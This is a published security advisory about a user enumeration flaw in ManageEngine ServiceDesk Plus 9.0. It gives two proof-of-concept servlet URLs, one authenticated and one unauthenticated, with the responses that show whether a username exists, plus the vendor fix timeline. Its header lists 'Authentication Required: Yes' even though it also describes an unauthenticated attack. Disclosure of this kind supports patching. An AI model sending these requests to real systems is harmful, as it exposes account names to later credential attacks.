REWTERZ-20140102 - ManageEngine ServiceDesk Plus User Enumeration Vulnerability

2015-01-25T00:00:00
ID SECURITYVULNS:DOC:31651
Type securityvulns
Reporter Securityvulns
Modified 2015-01-25T00:00:00

Description

================================================================================ [REWTERZ-20140102] - Rewterz - Security Advisory ================================================================================

Title: ManageEngine ServiceDesk Plus User Enumeration Vulnerability Product: ServiceDesk Plus (http://www.manageengine.com/) Affected Version: 9.0 (Other versions could also be affected) Fixed Version: 9.0 Build 9031 Vulnerability Impact: Low Advisory ID: REWTERZ-20140102 Published Date: 22-Jan-2015 Researcher: Muhammad Ahmed Siddiqui Email: ahmed [at] rewterz.com URL: http://www.rewterz.com/vulnerabilities/manageengine-servicedesk-plus-user-enumeration-vulnerability

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Product Introduction

ServiceDesk Plus is a help desk software with integrated asset and project management built on the ITIL framework. It is available in 29 different languages and is used by more than 85,000 companies, across 186 countries, to manage their IT help desk and assets.

Source: http://www.manageengine.com/products/service-desk/

Vulnerability Information

Class: User Name Enumeration Impact: An unauthenticated and authenticated user can enumerate users Remotely Exploitable: Yes Authentication Required: Yes User interaction required: Yes CVE Name: N/A

Vulnerability Description

An unauthenticated and authenticated user can enumerate all the users and domains on the system by sending a simple request to URL.

Proof-of-Concept Authenticated User

An attacker can use the following URL to enumerate users and domains by accessing the following URL:

http:// 127.0.0.1:8080/servlet/AJaxServlet?action=checkUser&search=guest

Response if User is valid:

{ USER_PRESENT: 'true', IN_SITE: 'true' }

Response if User is invalid:

{ USER_PRESENT: 'false', ADD_REQUESTER: 'false' }

Proof-of-Concept Unauthenticated User

An attacker can use the following URL to enumerate users and domains by accessing the following URL:

http://127.0.0.1:8080/domainServlet/AJaxDomainServlet?action=searchLocalAuthDomain&search=100101

If the user in the Search Parameter is found the response will contain the domain name in which that particular user exists.

Timeline

23-Dec-2014 – Notification to Vendor 24-Dec-2014 – Response from Vendor 30-Dec-2014 – Vulnerability fixed by Vendor

About Rewterz

Rewterz is a boutique Information Security company, committed to consistently providing world class professional security services. Our strategy revolves around the need to provide round-the-clock quality information security services and solutions to our customers. We maintain this standard through our highly skilled and professional team, and custom-designed, customer-centric services and products.

http://www.rewterz.com

Complete list of vulnerability advisories published by Rewterz:

http://www.rewterz.com/resources/security-advisories